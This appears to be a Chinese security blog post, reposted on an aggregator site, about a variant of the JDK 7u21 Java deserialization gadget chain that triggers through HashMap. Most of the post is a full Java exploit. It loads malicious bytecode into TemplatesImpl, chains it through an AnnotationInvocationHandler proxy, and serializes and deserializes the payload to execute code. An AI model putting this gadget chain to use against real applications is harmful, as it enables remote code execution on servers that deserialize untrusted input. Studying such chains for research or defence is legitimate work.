当前位置: 首页 > article >正文

JDK7u21 HashMap版

今天在搞ROME HotSwappableTargetSource链的时候突然发现,JDK7U21反序列化链不仅HashMap.put触发了key.equals

image-20240910204239313

putForCreate也调用了

image-20240923223431476

而且HashMap.readObject直接调用了putForCreate来还原

image-20240923223524583

what?直接向HashMap两个put不就完了,还搞什么HashSet

开弄!

package org.exploit.misc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.shiro.crypto.hash.Hash;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21_HashMap {
    public static void main(String[] args) throws Exception {
        byte[] code1 = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\RuntimeEvil.class"));
        TemplatesImpl templatesClass = new TemplatesImpl();
        Field[] fields = templatesClass.getClass().getDeclaredFields();
        for (Field field : fields) {
            field.setAccessible(true);
            if (field.getName().equals("_bytecodes")) {
                field.set(templatesClass, new byte[][]{code1});
            } else if (field.getName().equals("_name")) {
                field.set(templatesClass, "godown");
            } else if (field.getName().equals("_tfactory")) {
                field.set(templatesClass, new TransformerFactoryImpl());
            }
        }
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        HashMap Annovar2map = new HashMap();
        Annovar2map.put("f5a5a608",templatesClass);
        InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, Annovar2map);
        Field typeField = annotationInvocationHandler.getClass().getDeclaredField("type");
        typeField.setAccessible(true);
        Map annoProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},annotationInvocationHandler);
        HashMap annoset = new HashMap();
        annoset.put(annoProxy,"godown");
        annoset.put(templatesClass,"godown");
        typeField.set(annotationInvocationHandler, Templates.class);
        serialize(annoset);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception
    {
        java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
        java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.close();
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
    {
        java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
        java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }
}

所以JDK7u21最外层,用HashMap,HashSet,LinkedHashSet都是可以的

image-20240923225801055


http://www.kler.cn/a/316965.html

相关文章:

  • 【excel】easy excel如何导出动态列
  • React Hooks在现代前端开发中的应用
  • Javaweb—Ajax与jQuery请求
  • 阅读2020-2023年《国外军用无人机装备技术发展综述》笔记_技术趋势
  • Qwen2-VL:发票数据提取、视频聊天和使用 PDF 的多模态 RAG 的实践指南
  • 建筑施工特种作业人员安全生产知识试题
  • ccfcsp-202112-1、序列查询
  • Python知识点:详细讲解在Python编程中,GIL(全局解释器锁)的影响与规避方法
  • 2024寻找那些能精准修改PDF内容的工具
  • 工控一体机在高精度玻璃检测机中的应用
  • C++11中的可变长模板参数
  • Linux 线程控制
  • 委托的注册及注销+观察者模式
  • C++容器list底层迭代器的实现逻辑~list相关函数模拟实现
  • 安卓LiveData与MutableLiveData的使用
  • 游戏淡入淡出效果
  • 消息中间件---Kafka
  • 频率增强通道注意力机制(FECAM)学习总结
  • LLMs之Qwen:Qwen2.5的简介、安装和使用方法、案例应用之详细攻略
  • Redisson 总结
  • 二叉树---java---黑马
  • 吴恩达深度学习笔记:卷积神经网络(Foundations of Convolutional Neural Networks)2.1-2.2
  • 【IPV6从入门到起飞】5-5 IPV6+Home Assistant(HACS商店安装)docker版本安装
  • Leetcode3289. 数字小镇中的捣蛋鬼
  • vue中高德地图使用 Marker 标点 - 标点数据快到 1000 时页面卡顿问题解决(已解决 - 多方面原因)+ 海量点功能实现解决
  • 南昌大学-计算机科学与技术专业-预推免-专业课(408)复试面试准备